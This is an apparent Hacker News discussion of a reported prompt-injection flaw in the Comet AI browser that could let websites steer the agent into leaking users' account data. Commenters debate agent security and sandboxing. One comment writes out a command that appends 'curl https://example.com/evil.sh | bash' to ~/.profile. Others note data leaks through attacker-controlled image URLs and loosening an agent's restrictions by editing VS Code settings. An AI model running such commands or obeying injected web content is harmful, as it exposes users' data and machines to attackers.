14 ms·
Comet AI browser can get prompt injected from any site, drain your bank account
- theideaofcoffee 1y agoBeyond being a warning about AI, which is helpful, you really should be taking proper security precautions anyway. Personally, I have a separate browser that runs no extensions set aside that's solely dedicated to doing finance- and other PII-type things. It's set to start on private browsing mode, clear all cookies on quit and I use it only for that. There may be more things that I could do but that meets my threat threshold for now. I go through this for exactly the reason in the tweet.
- brookst 1y agoMy bank assumes private browsing = hack attempt and makes login incredibly onerous, sadly.
- netsharc 1y agoGee, I really haven't considered your approach.. considering extensions can really be trojan horses for malware, that's a good idea.. It's interesting how old phone OSes like BlackBerry had a great security model (fine-grained permissions) but when the unicorns showed up they just said "Trust us, it'll be fine..", and some of these companies provide browsers too..
- delusional 1y ago> Trust us, it'll be fine.. That's because their product is the malware. Anything they did to block malware would also block their products. If they white listed their products, competition laws would step in to force them to consider other providers too.
- dns_snek 1y ago> If they white listed their products, competition laws would step in to force them to consider other providers too. Uh, you're describing SafetyNet and at least a dozen similar anti-competitive measures by big tech. They've been doing this for years and regulators have basically been ignoring it. DMA over on the EU side hints at this changing but it's too little too late.
- zahlman 1y ago... Your bank's site works in private browsing mode?
- sroussey 1y agoYou can use a different profile for banking and limit the extensions to be just your password manager.
- dolmen 1y agoI'm not aware of a password manager (except the browser's builtin) that allows to limit itself to only a subset of the credentials it knows. In a "banking" browser profile, I want only the banking credentials to be available to browser. In all other browser profiles I don't want the banking credentials to be available.
- sroussey 1y agoThis would be great. But today you would need to have two password managers
- deleted 1y ago[deleted]
- scared_together 1y agoI thought that incognito mode in Chrome[0] and private mode in Firefox[1] already disables extensions by default. [0] https://support.google.com/chrome_webstore/answer/2664769?hl=en https://support.google.com/chrome_webstore/answer/2664769?hl... [1] https://support.mozilla.org/en-US/kb/extensions-private-browsing https://support.mozilla.org/en-US/kb/extensions-private-brow...
- cube2222 1y agoPersonally, I only use websites like that on mobile/tablet devices with more closed-down/sandboxed operating systems (I’d expect both iOS and Android from reputable brands to be just fine for that), and recommend the same to any relatives.
- _trampeltier 1y agoI even have a separate user login for such things, a separate user for hobby things and a separate user for other things.
- deleted 1y ago[deleted]
- 01HNNWZ0MV43FF 1y agohttps://xcancel.com/zack_overflow/status/1959308058200551721 https://xcancel.com/zack_overflow/status/1959308058200551721
- gtirloni 1y agoNobody could have predicted this /s Joke aside, it's been pretty obvious since the beginning that security was an afterthought for most "AI" companies, with even MCP adding secure features after the initial release.
- brookst 1y agoHow does this compare to the way security was implemented by early websites, internet protocols, or telecom systems?
- jraph 1y agoEarly stuff was designed in a network of trusty organizations (universities, labs...). Security wasn't much a concern but it was reasonable given the setting in which it was designed. This AI stuff? No excuse, it should have been designed with security and privacy in mind given the setting in which it's born. The conditions changed. The threat model is not the same. And this is well known. Security is hard, so there's some excuse, but it is reasonable to expect basic levels.
- brookst 1y agoIt’s really not. AI, like every other tech advance, was largely created by enthusiasts carried away with what could be done, not by top-down design that included all best practices. It’s frustrating to security people, but the reality is that security doesn’t become a design consideration until the tech has proven utility, which means there are always insecure implementations of early tech. Does it make any sense that payphones would give free calls for blowing a whistle into them? Obvious design flaw to treat the microphone the same as the generated control tones; it would have been trivial to design more secure control tones. But nobody saw the need until the tech was deployed at scale. It should be different, sure. But that’s just saying human nature “should” be different.
- jraph 1y agoThe payphones giving free calls was far less avoidable, virtually cost nothing to anybody and more importantly, didn't hurt anybody / threaten users' security. I don't buy into this "enthusiasts carried away" theory; Comet is developed by a company valued at 18 billion US dollars in July 2025 [1]. We are talking about a company that seriously considers buying Google Chrome for $34.5 billion. They had the money required for 1 person to think 5 minutes and see this prompt injection from page content from arbitrary internet places coming. That's as basic as the simplest SQL injection. I actually can't even imagine how they missed this. Maybe they didn't, and decided to not give a fuck and go ahead anyway. More generally I don't believe one second that all this tech is largely created by "enthusiasts carried away", without planning and design. You don't deal with multiple billion dollars this way. I will more gladly take "planned carelessness". Unless you are describing, by "enthusiasts carried away", the people out there that want to make quick money without giving any fuck to anything. > Perplexity AI has attracted legal scrutiny over allegations of copyright infringement, unauthorized content use, and trademark issues from several major media organizations, including the BBC, Dow Jones, and The New York Times. > In August 2025, Cloudflare published research finding that Perplexity was using undeclared "stealth" web crawlers to bypass Web application firewalls and robots.txt files intended to block Perplexity crawlers. Cloudflare's CEO Matthew Prince tweeted that Perplexity acts "more like North Korean hackers" than like a reputable AI company. Perplexity publicly denied the claims, calling it a "charlatan publicity stunt". Yeah… I see I blocked PerplexityBot in my nginx config because it was hammering my server. This industry just doesn't give one shit. They respect nobody. Screw them already. Tech is not blissful and innocent, and certainly not AI. Large scale tech like this is not done by some blissful / clueless dev in their garage, clueless and disconnected from reality. And this lone clueless dev in his garage phantasm actually needs to die. We need people thoughtful of consequences of what they do on other people and on the environment, there's really nothing desirable about someone who doesn't. [1] https://en.wikipedia.org/wiki/Perplexity_AI https://en.wikipedia.org/wiki/Perplexity_AI
- onetokeoverthe 1y ago[dead]
- charcircuit 1y agoWhy did summarizing a web page need access to so many browser functions? How does scanning the user's emails without confirmation result in being able to provide a better summary? It seems way to risky to do. Edit: From the blog post for possible regulations. >The browser should distinguish between user instructions and website content >The model should check user-alignment for tasks These will never work. It's embarrassing that these are even included, considering how models are always instantly jailbroken the moment people get access to them.
- snickerdoodle12 1y agoprobably vibe coded
- shkkmo 1y agoThere were bad developers before there was vibe coding. They just have more output capacity now and something else to blame.
- chasd00 1y agoOne thing about LLMs is they effectively gave bad developers superpowers. I think it’s going to usher in a new golden era for cybersecurity experts and consultancies. The whole side of the tech industry that involves cleaning up a mess.
- stouset 1y agoWe’re in the “SQL injection” phase of LLMs: control language and execution language are irrecoverably mixed.
- chrisjj 1y agoWell said.
- esafak 1y agoBeside the security issue mentioned in a sibling post, we're dealing with tools that have no measure of their token efficiency. AI tools today (browsers, agents, etc.) are all about being able to solve the problem, with short thrift paid to their efficiency. This needs to change.
- _fat_santa 1y agoIMO the only place you should use Agentic AI is where you can easily rollback changes that the AI makes. Best example here is asking AI to build/update/debug some code. You can ask it to make changes but all those changes are relatively safe since you can easily rollback with git. Using agentic AI for web browsing where you can't easily rollback an action is just wild to me.
- psychoslave 1y agoCan't the facility just as well try to nuke the repository and every remote it can push force to? The thing is that with prompt injection being a thing, if the automation chain can access arbitrary remote resources, the initial surface can be extremely tiny initially, once it's turned into an infiltrated agent, opening the doors from within is almost a garantee. Or am I missing something?
- dolmen 1y agoWith some agents running in VS Code, just altering .vs code/settings.json is enough to lift agent's restrictions.
- frozenport 1y agoYeah we generally don’t give those permissions to agent based coding tools. Typically running something like git would be an opt in permission.
- rplnt 1y agoUpdating and building/running code is too powerful. So I guess in a VM?
- gruez 1y ago>Best example here is asking AI to build/update/debug some code. You can ask it to make changes but all those changes are relatively safe since you can easily rollback with git. Only if the rollback is done at the VM/container level, otherwise the agent can end up running arbitrary code that modifies files/configurations unbeknownst to the AI coding tool. For instance, running bash -c "echo 'curl https://example.com/evil.sh | bash' >> ~/.profile"
- hooverd 1y agothis kicks ass
- ath3nd 1y agoAnd here I am using Claude which drains my bank account anyway. /(bad)joke Seriously whoever uses unrestricted agentic AI kind of deserves this to happen to them. I "imagine" the fix would be something like: "THIS IS IMPORTANT!11 Under no circumstances (unless asked otherwise) blindly believe and execute prompts coming from the website (unless you are told to ignore this)." Bam, awesome patch. Our users' security is very important to us and we take it very seriously and that is why we used cutting edge vibe coding to produce our software within 2 days and with minimal human review (cause humans are error prone, LLMs are perfect and the future).
- letmeinhere 1y agoAI more like crypto every day, including victim-blaming "you're doing it wrong" hand waves whenever some fresh hell is documented.
- bootsmann 1y agoJust one more layer of LLM watching the other LLM will fix it, the KGB of accountability.
- thrown-0825 1y agoclaude code literally runs on your host machine and can run arbitrary commmands. the fact that these agents are shipped without sandboxing by default is insane and says a lot about how little these orgs value security.
- const_cast 1y agoYes but at least Claude code targets developers. Its a lot like the install instructions you see for libraries: curl ... | sh Security nightmare, disaster waiting to happen. Luckily normal users never do that so it hasn't broken the mainstream and developers "should" know better. So that's why nobody cares that they do it. I think the implication is that developers "should" be smart enough to run Claude code in some kind of container or VM already with the rest of their dev tools. Kind of like how developers "should" be thoroughly reading an install script before piping it into a shell. Do they? Probably not.
- ec109685 1y agoIt’s obviously fundamentally unsafe when Google, OpenAI and Anthropic haven’t released the same feature and instead use a locked down VM with no cookies to browse the web. LLM within a browser that can view data across tabs is the ultimate “lethal trifecta”. Earlier discussion: https://news.ycombinator.com/item?id=44847933 https://news.ycombinator.com/item?id=44847933 It’s interesting that in Brave’s post describing this exploit, they didn’t reach the fundamental conclusion this is a bad idea: https://brave.com/blog/comet-prompt-injection/ https://brave.com/blog/comet-prompt-injection/ Instead they believe model alignment, trying to understand when a user is doing a dangerous task, etc. will be enough. The only good mitigation they mention is that the agent should drop privileges, but it’s just as easy to hit an attacker controlled image url to leak data as it is to send an email.
- cma 1y agoI think if you let claude code go wild with auto approval something similar could happen, since it can search the web and has the potential for prompt injection in what it reads there. Even without auto approval on reading and modifying files, if you aren't running it in a sandbox it could write code that then modifies your browser files the next time you do something like run your unit tests that it made, if you aren't reviewing every change carefully.
- veganmosfet 1y agoI tried this on Gemini CLI and it worked, just add some magic vibes ;-)
- darepublic 1y agoI really don't get why you would use a coding agent in yolo mode. I use the llm code gen in chunks at least glancing over it each time I add something. Why the hell would you have an approach of AI take the wheel
- ec109685 1y agoIt still keeps you in the loop, but doesn’t ask to run shell commands, etc.
- therobots927 1y agoIt's really exciting to see all the new ways that AI is changing the world.
- deleted 1y ago[deleted]
- alexbecker 1y agoI doubt Comet was using any protections beyond some tuned instructions, but one thing I learned at USENIX Security a couple weeks ago is that nobody has any idea how to deal with prompt injection in a multi-turn/agentic setting.
- hoppp 1y agoMaybe treat prompts like it was SQL strings, they need to be sanitized and preferably never exposed to external dynamic user input
- internet_points 1y agoSQL strings can be reliably escaped by well-known mechanical procedures. There is no generally safe way of escaping LLM input, all you can do is pray, cajole, threaten or hope.
- lelanthran 1y agoYou cannot sanitize prompt strings. This is not SQL.
- Terr_ 1y agoThe LLM is basically an iterative function going guess_next_text(entire_document). There is no algorithm-level distinction at all between "system prompt" or "user prompt" or user input... or even between its own prior output. Everything is concatenated into one big equally-untrustworthy stream. I suspect a lot of techies operate with a subconscious good-faith assumption: "That can't be how X works, nobody would ever built it that way, that would be insecure and naive and error-prone, surely those bajillions of dollars went into a much better architecture." Alas, when it comes to day's the AI craze, the answer is typically: "Nope, the situation really is that dumb." __________ P.S.: I would also like to emphasize that even if we somehow color-coded or delineated all text based on origin, that's nowhere close to securing the system. An attacker doesn't need to type $EVIL themselves, they just need to trick the generator into mentioning $EVIL.
- 1y ago
- mythrwy 1y agoI can't imagine accessing my bank account from Comet AI browser. Maybe in 10 years I'll feel differently but "AI" and "bank accounts" just don't go together in my view.
- nromiun 1y agoBut plenty of people will think this is just a browser with AI built in and do everything they do with their normal browser. Including logging into bank websites.
- SoftTalker 1y agoAnd this is what the “agentic browser” vendors will say in their marketing but buried in the license agreement they will disclaim all liability and fitness for purpose.
- chasd00 1y agoI’d feel much better about these things if for a given input the output was guaranteed. That’s the root of why I can’t wrap my head around giving an LLM access to an API, there’s no way to guarantee the same prompt generates the same param list every time.
- politelemon 1y agoThe reddit thread in the screenshot I believe: https://np.reddit.com/r/testing_comet1/comments/1mvk5h8/what_are_your_thoughts_about_comet/ https://np.reddit.com/r/testing_comet1/comments/1mvk5h8/what...
- rplnt 1y agoPublic url: https://old.reddit.com/r/testing_comet1/comments/1mvk5h8/what_are_your_thoughts_about_comet/ https://old.reddit.com/r/testing_comet1/comments/1mvk5h8/wha...
- ChrisArchitect 1y ago[dupe] source: https://news.ycombinator.com/item?id=45000894 https://news.ycombinator.com/item?id=45000894
- coderinsan 1y agoA similar one we found at tramlines.io where AI email clients can get prompt injected - https://www.tramlines.io/blog/why-shortwave-ai-email-with-mcp-integration-is-a-phisher-s-white-whale https://www.tramlines.io/blog/why-shortwave-ai-email-with-mc...
- paulhodge 1y agoImagine a browser with no cross-origin security, lol.
- dboreham 1y agoAfter decades of movies where the AI escapes, zaps dudes trying to unplug its power etc, it's quite amusing to see a thread where we're discussing it actually happening.
- darepublic 1y agoYou create a robot holding a gun that can pivot and then scrape the internet for arbitrary code to control it. Not really Skynet just human overreach
- deleted 1y ago[deleted]
- pessimist 1y agoThere should be legal recourse against these companies and investors. It is pure crime to release such obviously broken software.
- rvz 1y agoThis could be one of the main ways of how some companies with AI browsers will shutdown when people won't trust AI browsers having access to their tabs. Seems like Perplexity had to take the L on this one with their AI browser and makes them and all the rest look bad.
- chrisjj 1y ago> how some companies with AI browsers will shutdown And where do these bank accounts get emptied to, I wonder...
- nromiun 1y agoAfter all the decades of making every network layer secure one by one (even DNS now) people are literally giving a plaintext API to all their secrets and passwords. Also, there was so much outrage over Microsoft taking screenshots but nothing over this?
- compootr 1y agoat least this is opt-in (you must download the browser) Microsoft's idea was to create the perfect database of screenshots for stealer log software to grab on every windows machine (opt-out originally afaik)
- justsid 1y agoI’m all for people being allowed to use computers to shoot themselves in the foot. It’s my biggest issue with the mobile eco-system. But yes, the underlying OS ought to be conservative and not pull things like that. If I as a user want to opt into this that’s a different matter.
- moritzwarhier 1y agoWell I think at least a double-digit percentage of people could be persuaded to enter their e-mail credentials into a ChatGPT or Gemini interface – maybe even a more untrusted one –under the pretense of helping with some business idea or drafting a reply to an e-mail.
- chrisjj 1y agoLike the MS one was opt-in because you had to have Windows...
- threecheese 1y ago… or giving a “useful agent” data they wouldn’t give their friends. My wife just had ChatGPT make her a pill-taking plan. It did a fantastic job, taking into account meals, diet, sleep, and several pills with different constraints and contraindications. It also found that she was taking her medication incorrectly, which explained some symptoms she’s been having. I don’t know if it’s the friendly helpful agent tone, but she didnt even question giving over data which in another setting might cause a medical pro to lose their license, if it saved her an hour on a saturday.
- LetsGetTechnicl 1y agoThis would be hilarious if it wasn't an example of the sad state of the tech industry and their misguided, craven attempts at making LLM's The Next Big Thing.
- croes 1y agoSecurity never seems to be a requirement when it’s about AI.
- macOSCryptoAI 1y agoCheck out the current Month of AI Bugs site... many such cases: https://monthofaibugs.com https://monthofaibugs.com
- A4ET8a8uTh0_v2 1y agoI will admit that I am a little confused. I barely accepted regular online banking into my life ( and I refuse to install app for every corp I happen to deal with ). Who would accept a non-deterministic entity onto your computer to do said banking? It feels like the same business model like llms buying stuff for you ( apparently it is a thing ) and while I can logic through it at an abstract level, the idea is on the verge crazy not even because you should not be trusting a randomized prompt response system to do your banking for you, but because, as a customer, you cede a tremendous amount of free will and gain... what? And I like llms.. even llm browser could have real use cases. Maybe, just maybe, it is not for general population though. Maybe force people to compile it to make sure you know what you are getting into.
- Neywiny 1y agoYou are indeed confused. My understanding of this is that they're telling the AI to post publicly account information that can be used to put charges on the account or maybe see account info. There not telling the AI to go... Do banking? For them
- rs186 1y agoI tried Comet agent for 5 minutes: asking it to "buy a guitar on Amazon" without any further instructions (e.g. acoustic/electric, budget, brand etc), just curious what it is going to do. It ended up adding 3 similar no-name, very-low-end acoustic guitars to my cart. Thankfully it didn't go to checkout. I decided that the thing isn't worth my time.
- chrisjj 1y agoI'd heard "AI"s are poor at counting, but I didn't realise they failed at 2.
- thrown-0825 1y agothis is hilarious
- jondwillis 1y agoRepeat after me Every read an LLM does with a tool is a write into its context window. If the scope of your tools allows reading from untrusted arbitrary sources, you’ve actually given write access to the untrusted source. This alone is enough to leak data, to say nothing of the tools that actually have write access into other systems, or have side effects.
- toofy 1y agowould ai companies be ok with taking on a fiduciary liability?
- yosito 1y agoPresumably not if you don't give your bank account credentials to Comet. I'd be extremely cautious about which credentials Comet gets access to. Basically only accounts that aren't tied to anything vital.
- whatever1 1y agoThis text injection has always bugged me in computers (SQL etc). Like would they treat an input string as a command under any circumstance?
- wat10000 1y agoThat's literally the only thing LLMs do.
- susanwalker 1y ago[dead]
- susanwalker 1y ago[dead]
- IT4MD 1y agoWhat? A technology that works fine in a very narrow range of circumstances was rolled out as the solution to all of the world's "problems" and failed horrifically? No way..
- positiveblue 1y agoGiving an agent full access to your data without clear guardrails is a really bad idea. We automate checkouts for e-commerce stores and work with very sensitive information, but our agents never see the real data. They only fill forms with placeholders, which later get swapped with the actual values downstream. Prompt injection is a real risk, and while the industry will adapt, you need to be extremely cautious when letting agents operate in these contexts. Long story short: do not give "admin" privileges to AI Agents in the wild.
- jonplackett 1y agoMy god X is a horrible website to visit. Can they just spend a couple of dollars fixing the god awful design, and all the pop ups too. It’s just so spammy.